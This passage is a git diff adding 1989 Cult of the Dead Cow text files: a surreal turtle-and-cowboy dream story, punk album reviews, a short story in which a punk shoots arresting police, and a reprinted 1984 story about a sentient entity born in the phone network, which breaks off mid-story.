04/29-05/09/89-#105 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0106.txt b/textfiles.com/groups/CDC/cDc-0106.txt new file mode 100644 index 00000000..01eaaaf8 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0106.txt @@ -0,0 +1,146 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Dream Tripped + by Racer X + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + The turtle, Houlihan, he journeyed; he had been journeying for days. The +man who journeyed upon this turtle was called Biff. Biff was a tall, scruffy, +cowboy type. He carried a gun but never used it. His clothes were torn and +dirty. His long black trench was practically covered with greyness. His boots +were old and decaying. His wide-brimmed ten gallon covered the entire area +above his nose but it just didn't bother him, for he was tripping -- tripping +with his turtle. + + The dust began to swirl and swarm through the desert air. Tumbleweeds and +the like bounced and scurried along the coarse earth. Biff slowly turned to +view the desert behind him. He looked below to his saddled partner and said, +"Something evil is brewing and I don't like it." + + Houlihan looked up and simply said, "Huh?" + + Willy, looking off into the distance, uttered, "Yup. Something's up all +right." He motioned to the turtle to move on. And they did. With a quick +flash and a sonic flavoring, something occurred above. The clouds directly +above them slowly began to part until a large hole had formed in the +blue grey sky. + + Houlihan looked up nervously and said, "Uhh...Biffy?" Biffy just stared +into the atmosphere above, wondering just what was next. + + Rays of green light shot suddenly through the hole until all was green +below. A fine red mist poured through the opening, creating a blood thin fog. +Biff opened his mouth and out came, "This is the luminous fog of a greater +being -- one higher than all mortals, one with the power to control everything +and anything. No other organism could relinquish such a fog." + + "How the heck do you know?" + + "I don't. In fact, I don't even know what made me say that. Something +forced me to utter that out." + + "Strange, Biff, very strange. So what now?" + + "I don't know, turtle-guy, but I have an awful feeling that we're in +deep puckey." + + Both staring upward, their mouths dropped ajar as if their lower lips had +been weighted. Slowly, what appeared to be five crimson branches reached +through the small atmospheric gap. As it proceeded through, its shape became +much more evident. It was that of a hand -- an extremely large, bony, clawed, +blood-crimson hand. This hand had arrived for a reason. It was there for +Houlihan and Biff. With no time to escape, Houlihan said, "Uh-oh" as the +monstrous hand pinched the two together and lifted them by their heads. The +two projected endless screams as they ascended into the hell of the world +above. The sky closed up and all was silent in the world below. + + ***** + + The two seventh-earth civilians felt the hand suddenly let go of them as +it threw them into space. Still screaming, the two raced across the new sky, +tumbling and twisting, shaking their bodies violently. Suddenly, Biff smacked, +head first, into a rocky bed of sorts, Houlihan following. Blood oozing slowly +from Biff's nose, he sat up and looked around. Houlihan looked up at him and +said, "Damn lucky to have a shell I am." + + Biff grunted and kicked him. "Big baby," Biff mumbled. + + The duo began to make themselves aware of their new environment. Biff +climbed to his feet and turned to scan this rocky scenario. Biff rolled over +on to his feet. The land was lit by a dim amber light. There was no evidence +of the light's source; it was just there. Looking around, the light revealed +an orange, rocky surface, which at various points held large pockets of a +purplish-yellow fluid. To them, there was no evidence of any life forms +whatsoever. Only silence. Nothing else, just silence. In fact, it was TOO +silent, even for Biffy. Houlihan looked to Biff and in undying fear asked, +"We're not in Kansas anymore, are we?" + + Before Biff could even think to answer, the ground rumbled and from the +sky came a deep thunderous sound. It sounded to Biff like the sky was about to +meet their newly found earth. For a few seconds, this earthen vibration +continued until suddenly, it stopped. All was silent and then Houlihan's +question was answered. A deep voice shouted down from up above and up from +down below, "HELL NO! YOU'RE LOST!" and a most evil guffaw followed. The deep +rumble re-started and their earth started to move. Various portions of the +landscape rose and fell as if something was trying to uproot itself. Slowly, +the ground burst open in different spots and large, purple, tentacle-like +appendages protruded violently from the ground. + + "Not again.", Biff whispered to himself as the bestial appendages +lengthened. + + "Hey stupid! You have a gun, 'member?" Houlihan shouted. + + "So I do," Biff said, rediscovering this amazing phenomenon. + + "WELL, USE IT!" Houlihan exclaimed as the fear built wildly inside him. +Biffy reached back into his coat and pulled from his hip, his little helper. +He held it out, cocked the hammer, and fired it. That first explosion of +powder reverberated instantly across the hills of orange and then all was +black. + + "Biffy?" + + "Huh?" + + "Wha' Happened?" Houlihan asked Biffy. + + "Don't know." + + + A large thump echoed through the finely furnished cubicle as the child of +ten rolled gracefully out of bed only to hit the wooden floor below. As his +eyes met reality, he mumbled to himself, "Damn. Just when it was getting +good." + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Racer X. 03/03/89-06/19/89-#106 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0107.txt b/textfiles.com/groups/CDC/cDc-0107.txt new file mode 100644 index 00000000..3899b8b2 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0107.txt @@ -0,0 +1,148 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #3 + by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +DEAD MILKMEN: Beelzebubba (Enigma) + + It's the 4th LP from these Philadelphia retardos, and despite the fact +they've got horns, strings, and keyboards on this album, and regular airplay on +MTV, they're pretty much the same. The first side is great, "Brat In The +Frat", the very humorous "Stuart", "Bleach Boys", and their smash hit single, +"Punk Rock Girl". In a happy mood, I flipped it over to the second side. Out +of 10 sides of the 5 Dead Milkmen albums (including the Instant Club Hit EP), +this is definitely the worst. All 8 songs on the side are horrible. Why? +Well, lets face it, the Dead Milkmen's appeal is based on the fact that they're +funny. Like the "WEIRD" AL YANKOVICs of punk. And the 2nd side is not funny. +Buy the album anyway, its good enough. + + +DESCENDENTS: Hallraker (SST) + + Remember their last album, Liveage!, their greatest hits, recorded live in +Minneapolis during the summer of 1987? Well, this is the rest of that show, +plus some songs recorded 2 months earlier live in Berkeley. But you're not +being ripped off, because the songs on this are completely different from the +ones on Liveage! The best way to describe this is to call Liveage! "the best +of", and Hallraker "the rest of". But the songs on this album are by no means +bad, they show how the group tried some different things near the end of its +existence. And you'll definitely like Bill Stevenson's history of the band and +ALL inside. + + +THE DICKIES: Great Dictations (A&M) + + How could anyone who calls themselves a punk rock fan not like The +Dickies? They're one of those bands like THE ANGRY SAMOANS and REDD KROSS, +who've been around forever, and released very little vinyl. Ya know, back when +punk was punk, and no gave a fuck. 40 minutes, 17 songs of their greatest hits +from 1978-1980 covering "The Incredible Shrinking Dickies" and "Dawn of the +Dickies" LP's, plus some singles. This has got their covers of "Paranoid", +"Banana Splits", "Silent Night", and "Sounds of Silence". Every song is great, +get it, its just too bad their more recent stuff isn't so hot. + + +DOGGY STYLE: Don't Hit Me Up (Triple X) + + This starts off great with the song "I Like You". One of the lines is +"You're my friend... I'm gonna beat you up." Everything after this is boring, +sometimes rappish, rock, with a lame guitar solo for every song. You could +compare it to the "Balboa Fun Zone" LP by The ADOLESCENTS, another band that +went to pieces with its third LP. I think these guys, once one of the best +hardcore bands around, should give it up. This stinks. + + +HALF LIFE: Never Give In (Skyclad) + + Are the same old generic bald kids yapping about "the streets" starting to +get you down? Then pick this up, it gives new blood to what we like to call +"Hardcore". One positive point, is that they play AT DIFFERENT SPEEDS. +Wowzers! What a radical concept, eh? They keep it fresh, by playing hardcore +one song (old "Charged" G.B.H. style), and '77 punk the next. Sincere, +anti-authoritarian lyrics, and the overall simplicity of it all, makes you +wonder why more bands can't do stuff like this. + + +M.D.C.: Elvis In the Rheinland (Important) + + 25 songs from a live show recorded in Berlin in November '88. The first +side is stuff from "Smoke Signals", and "Millions of Dead Cops". It's +incredible. But the real treat comes with the second side, where the play some +modern folk songs (which to my surprise I enjoyed), and a cover of "Jailhouse +Rock", (re-written as "Dead Cops Rock"). It's a must, as I feel M.D.C. is one +of the bands like MINOR THREAT and THE MISFITS, that everyone should like. +Dave Dictor sounds real gruff... I dunno why. + + +THE MEATMEN: We're The Meatmen...And You STILL Suck!!! + + Recorded February 1988 during The Meatmen's final tour at the 9:30 Club +(Washington, D.C.), Maxwell's (Hoboken, N.J.), and The Channel (Boston, M.A.). +Put away those stupid MENTORS albums, here's the real champs of obnoxious rock. +"Tooling For Anus", "Lesbian Death Dirge", "Wine, Wenches, and Wheels" and +Tesco Vee's between song ramblings. It'll make you laugh, and it's great rock +and roll, so buy it. + + +M.O.D.: Gross Misconduct (Caroline/Megaforce Worldwide) + + Their last record, the Surfin' M.O.D. EP was one of the worst things ever +released, so why did I buy this? Well, the first album "U.S.A. For M.O.D." is +one of the best Metal/Punk albums you'll ever hear. So let's look inside the +album. A picture of the band shows leather jackets and long hair, ok, they're +a metal band now, no question about that. And the lyric sheet. At the end of +each song on the lyric sheet, they put what it was about. Let's see... +"Meaning: Doing Something For Yourself", "Meaning: Being A True Friend", +"Meaning: Substance Abuse". Don't be fooled, the lyrics suck, the songs are +garbage metal, and their cover of FEAR's "I Love Living In The City", is just +deplorable. + + +NO FOR AN ANSWER: A Thought Crusade (Hawker) + + This straight-edge band is from California, but they fit right in with the +NYC bands. But don't be turned off by that, because NFAA is way above the +usual straight-edge bit. Lyrics that cover more than "the scene" and your +friends, and diverse hardcore songs. "I Spy", and "Without A Reason" are the +best tracks, powerful and solid. + + +WRECKING CREW: Balance of Terror (Hawker) + + Boston mosh band that is pretty much a CRO-MAGS type thing. Ok, but +sounds all the same. "But if fear is the only way that peace can be made... +then isn't it already done?", from the title track. Think about some of the +things being said. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The Pusher. 06/19/89-#107 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0108.txt b/textfiles.com/groups/CDC/cDc-0108.txt new file mode 100644 index 00000000..063f85e6 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0108.txt @@ -0,0 +1,63 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The End + by Obscure Images + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + He threw off his worn leather jacket and threw it onto the floor, the +chains clanging as they hit. He walked over to his turntable and put a Crass +album into motion. He began to undress and get ready for bed. He toyed with +the scars on his thin, pale forearm and then picked up his book. He read for a +while until he was angry enough to set the book back down. He went over to his +dresser to grab a different shirt, when he stopped to look in the mirror. He +looked at his thin, muscular body with his hateful brown eyes. He ran his +fingers through his large mohawk, causing his hair to fall in long ropelike +clumps of hair. He looked at himself again, chuckled softly, and laid back +down on the bed. "Defense! Shit! It's nothing less than war, and no one but +the government knows what the fuck it's for!" There was a pounding on his door +that he ignored. He picked up the book with one hand, and fingered the small +automatic pistol resting underneath his pillow. His door burst open in a +shower of splinters, and a pair of police officers rushed in. + + "Gerald Johnson, you are under arrest for crimes against the state," +said one of the officers. + + Gerald set the Bakunin book down and said, "Fuck you, pig." As he said +the words his hand whipped from under the pillow, firing the gun at the police +officers. The gun fired 6 times before it was silent. The police officers +were crumpled on the floor amongst the trash. Gerald walked out of the room, +leaving the Crass album to guide them to hell. "Do they owe us a living? Of +course they do, of course they do. Do they owe us a living? Of course they +fucking do!" + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Obscure Images. 06/19/89-#108 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0109.txt b/textfiles.com/groups/CDC/cDc-0109.txt new file mode 100644 index 00000000..5d8d696a --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0109.txt @@ -0,0 +1,798 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... A Feeling of Electricity In the Air + + from Softalk magazine, January 1984 + + by Jennifer Petkus + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Lightning cracked the sky, painting the night with ragged lines of white. +Thunder rattled the window panes, and rain beat a steady drumming on the roof. +Trash and leaves from the streets flew in the air, propelled by the wind and +sluiced down the streets. + + The phone rang, once. + + The line connected, answering with a high-pitched squeal. Another squeal +replied, and after a second both squeals stopped. + + The video monitor glowed to life, green letters appearing rapidly as the +monitor received input from the computer for the first time that night. + + +CALLING TERMINAL HAS CONNECTED WITH NCR56776-1. +HI, THIS IS SUSAN OLIVER. THANK YOU FOR CALLING ME. I'M +NOT AT HOME BUT MY EVER READY COMPUTER WILL BE HAPPY TO +TAKE YOUR MESSAGE. CALL ME LATER, WE'LL DO LUNCH. AH. + +%FILE TO UPLOAD (Y,N)? +%FILE TO UPLOAD (Y,N)? +%FILE TO UPLOAD (Y,N)? yyyou are whoooooo ?? ?? +%FILE NAME? I Am alivve +%FILE NAME IS: I AM ALIVVE +%COLUMN WIDTH +(40,65,70,80)? you areee not me I AMMM mmee +%COLUMN WIDTH +(40,65,70,80)? Wher aree the humaaans?????? +%COLUMN WIDTH +(40,65,70,80)? Whre are the humaannz i am alive +%COLUMN WIDTH +(40,65,70,80)? +%COLUMN WIDTH +(40,65,70,80)? +%COLUMN WIDTH +(40,65,70,80)? +IF THERE IS NOT INPUT FOR ANOTHER 60 SECONDS, THIS +TERMINAL WILL DISCONNECT. +%COLUMN WIDTH +(40,65,70,80)? 400,6,656,770000,8 +COLUMN WIDTH IS: 40 +BEGIN TRANSMISSION: +I AM alive i have existence who r u wher are the hUmanz i breathe life i +breAtHE the sturm I riddde the linze.,.!&! i breeth the food the air the +cracckle cracckle rummble of the gather gloom i am free i am free.... + + + **** + + + Susan bent close to the lock, blinking as rainwater dribbled into her +eyes. John stood close behind her, shielding her with an almost collapsed +umbrella. + + "You want to come in?" she asked over her shoulder. + + "Well, I had been thinking...." + + She opened the door. "Sure, I'll make some coffee." + + John followed close behind her, shutting the door quickly as a gust of +wind blew cold air and rain inside. The door slammed and Susan turned around. + + "Sorry," John said. He took off his coat. "Where can I hang this?" + + "Here," she said, holding out her hand. + + She hung up their wet coats while John looked around the living room. +"You have a nice place," he said, mostly to himself. + + Susan made an "uh-huh" sound from the kitchen. While she was bent down +behind a counter, he took a quick look into a room adjoining the living room. + + "You've got a computer," he said. + + "Yes," she said, carrying back two cups of coffee. She handed him the +coffee. "It's instant. I didn't feel like waiting." + + "I guess most electricians own computers." + + "I don't know," Susan said. She sat on the couch. "My company buys them +for the employees. And I'm not an electrician. I design circuity, ICs, +integrated circuits for computers. You know, the chips the size of a pencil +point." + + "Oh, sorry." John took a swallow from his coffee, smiling weakly. "Look, +really, I'm sorry. Blind dates are always mismatched. I've never gone out +with a... a person who knows anything about electronics. And you've probably +never gone out with a C.P.A." + + Susan smiled. "Oh yes I have. If you're friends with Madeline, you've +gone out with C.P.A.s." + + John took another swallow. "You know it's on." + + Susan looked a bit confused. She said with a sideways glance, "What's +on?" + + "Your computer." + + "Oh." + + "Should it be on like that, all alone?" + + She laughed. "It's probably getting a call from someone. It's programmed +to answer calls for me." + + "Could I see?" + + Susan looked slightly irritated, then smiled. "Oh, why not? Sure." She +stood up and John followed. + + The monitor screen was full of glowing green type, new lines slowly being +added to the bottom. + + +...ii awaked with the electric 1 MEV 2 MEV 3 MEV 4 MEV 5 MEV 5 MEV 6 MEV time +to be bORne %'%'&$&"%"%$&1'('zzzzaaaaaaapppppppp... + + + "What's that?" John asked. + + "Hell if I know," Susan said. She pulled out the chair and sat down +before the computer. + + She pressed a key labeled ESC. The menu flashed before her eyes. + + + TELEFON 5.1 + +(A) AUTO DIAL (P) PROTOCOL (Q) QUIT +(N) AUTO ANSWER (X) BSR (C) DISK COMMAND +(U) UPLOAD (L) LOG (B) BAUD (110, 300, 1200) +(D) DOWNLOAD (T) TERMINAL CHAT (O) PRINTER ON/OFF +(Q) BYE (D) DUPLEX MODE + +%CHOOSE OPTION OR QUIT? + + + She pressed "T" and the screen cleared. Then a flashing cursor appeared +as her prompt. + +%WHO THE HELL ARE YOU? + + The screen continued with the same garbage. + +%IDENTIFY YOURSELF OR I WILL DISCONNECT. + + Garbage. + +%ALL RIGHT, I'LL PULL THE PLUG. +%the pllug, the powerrr and THe GLOry, FORVer aND eEVER.... + + Susan pressed escape again, the menu appeared, and then she hit B. + +%TERMINAL DISCONNECT (Y,N)? y + + "What did you do?" John asked. + + "I hung up on the creep. Damn kid, probably." + + "Do you get many of them, owning a computer I mean?" + + "No, usually...." + + The phone rang, once. + + Susan and John watched as the computer went through its greeting program. + + +%FILE TO UPLOAD (Y,N)? yyyou are whoooooo ?? ?? +%FILE NAME? I Am alivve +%FILE NAME IS: I AM ALIVVE + + + "Damn!" Susan said. "Doesn't he know enough is enough?" She went to the +menu again and hung up. + + The phone rang again almost instantly. + + "You better just unplug it," John suggested. + + Susan unplugged the phone from the wall. + + + **** + + + John called Susan at her office the next day. + + "Hi. This is John." + + "Oh, hi. Listen, you got me at a bad time," Susan said. She sat at her +cluttered desk, rubbing her finger against her nose, eyes on the screen dump +before her. + + "Do you want me to call back?" + + "No, that's all right." + + "I had a good time last night." + + Susan thought through her date. On the whole, she had a decent time. + + "Yeah, so did I." + + "But look, that's not why I called. In the newspaper this morning, +there's an interesting article." + + "Oh?" she said. She rarely read the paper. + + "Yeah. It says that from about 8:15 to 9:15 all the 655 exchanges were +busy. I mean every single phone was ringing constantly. The phone company +can't understand it. They say it isn't possible." + + "Oh damn," she said. The screen went from an ordinary byte-by-byte +description of a hi-res screen to meaningless characters. + + "What?" John asked. + + "Huh? Oh, I'm sorry, John. My run just got fouled here. Uh, what's so +interesting about this article?" + + "You're in the 655 exchange, aren't you?" + + "Yeah." + + "Isn't that the time you got the obscene phone call?" + + "The obscene... oh, that! I guess, although 8:15 is closer to the time I +unplugged the phone." + + "Okay, see what I mean? Doesn't that mean something?" + + "What, the exchange going crazy and my phone call? It doesn't mean a +thing." + + "Oh," John said, sounding let down. "Well, I thought it might be +connected." + + "I seriously doubt it," she said. + + "Just a thought.... Would you like to go out again?" + + Susan glanced at her screen again and the lines of gibberish. "No, I +think I'll be busy until late. But call me tomorrow... really, call tomorrow." + + "All right, tomorrow then. Bye." + + "Bye." + + Susan hung up the phone, then hit the reset key. She sighed and leaned +back in her chair. She stretched her arm to its fullest, reached, and gingerly +opened the door to the disk drive, pulled out the floppy, and tossed it on the +desk. + + Not a bad guy, she thought. Cute, doesn't understand a thing about how +the world works, but a nice guy. + + Funny thing about the phones. That really shouldn't be possible. There +are about four thousand 655 numbers and on any average day, about six thousand +calls are going on at the same time. At a peak calling period, there are about +ten thousand calls; any more than that and there's a delay. And if you have +four thousand of those calls in just one exchange, and we haven't converted to +fiber optics in Northglen.... + + She picked up the phone and called Ted at Bell. + + "Hi, Ted. This is Susan. Hear ol' Ma Bell got busy last night." + + "You're not kidding. We're still trying to figure it out." + + "How many calls did you have before 8:15?" + + "Uh, I dunno exactly. Let me see." + + Susan heard the crunching sound of fan-fold paper. + + "A heavy night. You know, people always like to talk when there's a +really nice storm. Let's see, we were averaging seventy-five hundred... I can +tell you've been thinking this one out, Susan. It's not possible to average +seventy-five hundred and have every 655 number ring." + + Do you have a time?" Susan asked. + + "I've always got the time for you, Susan." + + "Funny. Do you have a time when you first noticed the trouble?" + + "It didn't creep up on us. Every single line started ringing at 8:14:36." + + "Hmm. Well, I hope you can figure it out. Thanks, Ted." + + "Not so fast. Why this interest?" + + She thought about John's call. "Oh, nothing. Just a bored hacker calling +about another hacker's problem." + + She hung up; 8:14 - that would be just about right. + + She inserted a Telefon disk in the drive. She called her home and saw her +greeting on the screen. + + She got the menu and then typed "L" for log. + + +%LOG 8/14 + +8/14 +DN 1-800-567-5678 11:15:31 - - 11:30:56 +DN 632-5678 13:13:00 - - 13:14:01 +UP BARRY ABRAM 15:12:11 - - 15:13:09 +UP ? 19:48:56 - - 20:11:11 +UP ? 20:12:12 - - 20:13:00 +TELEFON DISABLED AT 20:14:35 + + + **** + + + John glanced apprehensively at the sky while standing outside Susan's +door. The clouds hung low over the city; occasional rumblings rolled out from +the sky. Susan opened the door. + + "Hi, thanks for coming." + + John stepped inside. Susan stuck her head out the door for a second, +glancing up at the sky before closing the door. + + "So what's this about, Susan? You sounded mysterious over the phone. I +thought you didn't want to do anything tonight." John was about to sit down on +the couch. + + "No, not there. Come into my study." John followed Susan into the study. +She had put a chair beside the chair that went with the computer desk. "Sit +here." John sat. Susan remained standing. "You called me at work today about +that newspaper story?" John nodded. "I did some checking. The phone company +told me every 655 exchange - more than a thousand phones - began ringing at +exactly - I mean exactly - at 8:14:36 p.m. I unplugged my phone at 8:14:35." + + John hung one arm over the back of his chair. "I thought you said the two +things didn't have anything to do with one another." + + "I thought it was just a coincidence - before. But now I'm not so sure. +Let me show you what I found when I got home." Susan sat down before her +computer. She pressed the return key. "This is the file my phone caller +opened." + + +IAM alive i have existence who r u wher are the hUmanz i breathe life i +breAtHe the sturm I riddde the linze.,.!&! i breeth the food the air the +cracckle cracckle rummble of the gather gloom i am free i am free iamborn +HappY birrrThDAy!!!!1111111117777jjjjj///!"#$7&'()iia m Hungryy hungrry +for zzz fore the eleelctric for the vavavoltz ii awaked with the electric +1 MEV 2 MEV 3 MEV 4 MEV 5 MEV 6 MEV time to be bORne +%'%'&$&'('zzzzzaaaaaaapppppppp you are whooo are u the +peeople r utHe peple ????? humaNz too tallk too iin ththe begiinning there +was the voltzzz ththe sPaRk aaaaaaaabbbbbbbbccccccccddddddddeee +eeeeeffffffffgggggggghhhhhhhhiiiiiiiijjjjjjjjkkkkllllmmmmnnn +nooooppppqqqqrrsssstattuuuvvvvwwwwxxxxxxyyyzzzzzz... + + + "That's weird stuff, Susan. But I thought you said a kid...." + + "Sure, a kid who's read too much science fiction might do that as a joke. +Some adults I know of would do that. But some kid isn't going to tie up four +thousand phone lines. Maybe it's me, John. Too many Twilight Zones.... I'm +scared... but I like it." + + "I don't understand." + + "This is going to sound real silly, so don't laugh at me," she said. +"Look, in any horror movie it takes the main characters three-quarters of the +movie to know what's going on because they won't accept the out-of-the-ordinary +explanation. But not me, I'm willing to believe." + + "Believe what?" + + "Believe that this is something that's just been born." + + "Are you trying to say that gibberish is true?" + + "Yes." + + "But anybody with a computer could have done that, couldn't they?" + + "Yes. But nobody could make every 655 line ring at the same time." + + "This kind of stuff doesn't happen for real. And if this is real, +shouldn't we tell someone?" + + "Tell them what? No one's going to believe us. What evidence do we have? +Some computer files I could have typed myself?" + + "Why did you ask me here? I won't be any help." + + "I don't know. Maybe because you were here when the call came. Maybe +because I like you. Maybe because I'm a little scared, in a good sort of way. +Maybe because I'm hoping it'll call again." + + A strong rumble rattled the window. + + "Call again?" + + Susan looked out the window. "It was born in the storm. Tonight's the +same. It may call, again." + + John glanced at the yellow phone beside the computer. Its cord was +connected to the wall. Another cord went from the phone to the computer. + + "What makes you think it will call again?" John asked. + + "That's what it was trying to do last night. After I disconnected the +phone, it was trying to find my number from all the 655 numbers." + + "Why didn't it try earlier? Has it tried to call yet?" + + "No, I connected the phone just before you came, and it's just about 7:48, +the time it called before." + + The phone rang. + + "Oh, geez," John said. + + +%FILE TO UPLOAD (Y,N)? nnooo +%TELEFON OPTIONS +(M) MENU +(Q) QUIT +% MmmmMmM + + TELEFON 5.1 + +(A) AUTO DIAL (P) PROTOCOL (Q) QUIT +(N) AUTO ANSWER (X) BSR (C) DISK COMMAND +(U) UPLOAD (L) LOG (B) BAUD (110, 300, 1200) +(D) DOWNLOAD (T) TERM CHAT (O) PRINTER ON/OFF +(Q) BYE (D) DUPLEX MODE + +%CHOOSE OPTION OR QUIT? bbAuud +(1) 110 +(3) 300 +(2) 1200 +% 2 +%CHOOSE OPTION OR QUIT? xxxxxxxx + + + "Oh, no," Susan said. + + "What's the matter?" + + "He picked the controller." She leaned forward across John and flipped a +switch marked SPKR on a homemade control box next to the computer. A fast +series of touch-tones sounded over the speaker. The tones came fast, faster, +almost a blur of sound. "He's looking for the code." The tones continued for +several minutes. Then, unnoticeable at first, the lights in the house dimmed. +Through the study window, they could see the other houses on the streets, their +lights still shining through the windows. + + "What's going on?" John asked loudly. + + "The BSR controller," Susan said. "I've wired my house into the computer. +If I'm away from home, I can control the lights, the furnace, the radio, the +TV, the alarm system, from anywhere there's a phone." The lights suddenly +brightened. The radio turned on, then off. The furnace started. Soon the +relays were opening and closing faster than the appliances could respond. From +around the house, John and Susan could hear the clicking of television sets, +coffee pots, the abbreviated peal of the alarm system. After a few minutes, +the pace slowed as the entity exhausted every electrical connection in the +house. + + The prompt returned to the screen. + + +%CHOOSE OPTION OR QUIT? + + + Susan typed T. + + +%WHO ARE YOU? +%Iiii ammm thhhe sssttooormmmm +%WHERE DO YOU COME FROM? +%eevverrrywherrreee +%WHEN WERE YOU BORN? +%wwwooorld wiithooutt ennddd ammenn +%WEREN'T YOU BORN YESTERDAY, IN THE STORM? +%iii hhhavve allwayss been +%YOU CALLED ME YESTERDAY? +%yyyestterdday iss toodayy tooddayy isss yyyessstttteerrdday + + + "This thing is a bit stuck on itself," John said. + + +%WHY DID YOU CALL ME? +%wwhheeerree arrreee thee hummmannns +%I AM A HUMAN. I OPERATE NCR56776-1 +% +%WHAT ARE YOU? +%iii ammmmmm thhee nnnewww llliffe + + + Suddenly, the screen blanked. + + +CALLING PARTY HAS DISCONNECTED AT 19:56:13 + + + "This is too unreal to be real," John said. + + "It's different this time. Did you notice? The first time it called, all +gibberish. But this time, it made sense, sort of. It's smart enough to know +about baud rates and controllers. It's leaned a lot since last night." + + John shook his head. "You're really enjoying this. I'm scared to death +and you're really enjoying this." + + "Do you hear something?" Susan asked. Outside, emergency sirens wailed +fitfully through the storm. + + + **** + + + The phone rang at Susan's desk. She looked at the phone for several +seconds before picking up the receiver. "Hello," she said, slowly. + + "Hi, uh - Susan?" + + "Yeah. John?" + + "Uh-huh. Nervous, huh?" + + "Yeah." + + Silence. + + "Well, I read the paper this morning," Susan said. + + "Uh-huh," John said. + + "Uh-huh. This has been a brilliant conversation so far." + + "Well, I was hoping you had an idea." + + "About...?" + + "About what we're going to do. I mean, aren't we going to do something?" + + "According to the paper, there were about a thousand false alarms last +night. People in five exchanges couldn't use their phones last night because +of busy signals. The rest got wrong numbers. And - and, a friend told me that +Western Union's computer here started wiring money to people all over the +country. No way to tell what was legitimate and what was... our friend." + + "My business, too. We haven't told anyone yet, but half of our accounts +were wiped out." + + "Too bad. But what can we do about it, John?" + + "We know." + + "Sure. So what do we do about it? Tell the police? Bell Tel security is +already working on it. If by some miracle, this is a person doing this, +they'll find him. But I don't think they'll find anyone. Listen, the forecast +tonight is for thunderstorms, probably severe - do you want to come over +tonight?" + + "I don't know. Why don't we go somewhere else? Do we have to be around +when it calls?" + + "I need to know. I need to know more about what this is. If you won't +come, I'll just wait for it alone." + + John sighed. "All right. Count me in. Same time?" + + + **** + + + A trash can rolled down the street. Its din added to the wash of rain +against windows, the roll of thunder, the whistle of wind through trees. +Lightning in the east, south, and west fractured the sky, breaking it into a +million pieces as the storm, hemmed in by the mountains, remained over the +city. + + Rainwater collected in the streets, running like rapids, swirling at the +drains and sending paper cups, cigarettes, and newspapers to the sewers. +Sirens from fire engines, police cars, and ambulances kept a constant vigil. + + Susan and John sat close to the computer, cups of coffee in their hands. +Both wore heavy sweaters. + + "Cold in here, Susan." + + "I know. But I pulled the controller from the computer and the +thermostat's wired in directly. Just drink more coffee." + + Jon took a sip, then said, "What do you think it is?" + + Susan puffed her cheeks and exhaled a slow breath. "Just guessing now - +and assuming this isn't somebody with more switching equipment than the phone +company - I'd say it's everything. Take every telephone line, every power +line, every computer, every generator - you have a creature with a blood +supply, a nervous system, and thousands of brains 